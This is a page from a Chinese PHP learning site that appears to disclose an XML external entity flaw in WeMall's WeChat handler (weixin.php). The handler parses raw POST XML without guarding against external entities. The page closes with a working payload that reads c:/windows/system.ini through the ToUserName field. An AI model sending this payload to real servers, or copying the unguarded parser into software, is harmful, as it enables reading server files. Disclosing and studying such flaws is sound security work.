来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] WeMall提供最好用、最方便的微信接口,微信会员卡、优惠券、大转盘、团购、一战到底、微网站、微相册、在线预订,一应俱全。让你运营微信得心应手!。。。weixin phpif (! isset ( $_GET [ 39...
|
WeMall提供最好用、最方便的微信接口,微信会员卡、优惠券、大转盘、团购、一战到底、微网站、微相册、在线预订,一应俱全。让你运营微信得心应手!。。。 weixin.php
if (! isset ( $_GET ['echostr'] )) {
$wechatObj->responseMsg ();
} else {
$wechatObj->valid();
}
public function responseMsg()
{
//get post data, May be due to the different environments
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
//extract post data
if (!empty($postStr)){
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$event = $postObj->Event;
$textTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<Content><![CDATA[%s]]></Content>
<FuncFlag>0</FuncFlag>
</xml>";
$newsTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<ArticleCount>1</ArticleCount>
<Articles>
<item>
<Title><![CDATA[%s]]></Title>
<Description><![CDATA[%s]]></Description>
<PicUrl><![CDATA[%s]]></PicUrl>
<Url><![CDATA[%s]]></Url>
</item>
</Articles>
</xml>";
if(!empty( $keyword ))
{
$msgType = "news";
$Url = $this->appurl.$fromUsername;
$resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title, $this->description, $this->picurl, $Url);
echo $resultStr;
}else{
。。。。。。。。。。。。。。。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "file:///c:/windows/system.ini"> ]> <xml> <ToUserName>&test;</ToUserName> <FromUserName>111</FromUserName> <CreateTime>1402550611</CreateTime> <MsgType>123</MsgType> <FuncFlag>0</FuncFlag> <Content>123</Content> </xml>
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com